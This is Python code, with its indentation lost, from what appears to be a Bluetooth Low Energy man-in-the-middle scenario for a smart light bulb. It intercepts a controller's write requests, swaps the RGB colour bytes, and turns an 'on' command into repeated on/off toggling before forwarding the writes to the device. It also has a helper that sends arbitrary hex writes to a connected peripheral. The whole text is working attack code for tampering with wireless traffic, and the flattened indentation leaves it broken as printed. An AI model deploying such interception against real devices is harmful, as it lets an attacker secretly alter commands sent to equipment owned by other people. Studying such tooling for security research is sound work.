def onMasterWriteRequest(self, packet):
# Changing RGB values
if packet.handle == 0x21 and b"\x55\x13" in packet.value:
print(packet)
value = (packet.value[0:2] + bytes(
[packet.value[4], packet.value[2], packet.value[3]]) + b"\r\n")
io.info("Changing RGB values ...")
self.a2sEmitter.sendp(
ble.BLEWriteRequest(handle=packet.handle, value=value))
return False
# Changing on/off packets
elif packet.handle == 0x21 and b"\x55\x10\x01\x0d\x0a" == packet.value:
for _ in range(3):
io.info("Day !")
self.a2sEmitter.sendp(
ble.BLEWriteCommand(handle=packet.handle,
value=b"\x55\x10\x01\x0d\x0a"))
utils.wait(seconds=1)
io.info("Night !")
self.a2sEmitter.sendp(
ble.BLEWriteCommand(handle=packet.handle,
value=b"\x55\x10\x00\x0d\x0a"))
utils.wait(seconds=1)
return True
def writeRequest(self, packet):
if self.getStage() == BLEMitmStage.ACTIVE_MITM:
io.info("Write Request (from master) : handle = " +
hex(packet.handle) + " / value = " + packet.value.hex())
io.info("Redirecting to slave ...")
self.a2sEmitter.sendp(
ble.BLEWriteRequest(handle=packet.handle, value=packet.value))
def write_req(self, handle, value):
if self.receiver.isConnected():
if utils.isHexadecimal(handle) and utils.isHexadecimal(value):
self.emitter.sendp(
ble.BLEWriteRequest(handle=int(handle, 16),
value=bytes.fromhex(value)))
io.info("Write Request : handle = " + handle + " / value = " +
value)
response = self.receiver.next(timeout=3)
retry = 3
while not (isinstance(response, ble.BLEWriteResponse)
or isinstance(response, ble.BLEErrorResponse)
or retry == 0):
response = self.receiver.next(timeout=1)
retry -= 1
if isinstance(response, ble.BLEWriteResponse):
io.success("Response : success")
elif isinstance(response, ble.BLEErrorResponse):
io.fail("Error response !")
elif retry == 0:
io.fail("Timeout error !")
else:
io.fail(
"Handle or value is not correctly formatted (hexadecimal) !"
)
else:
io.fail("No active connections !")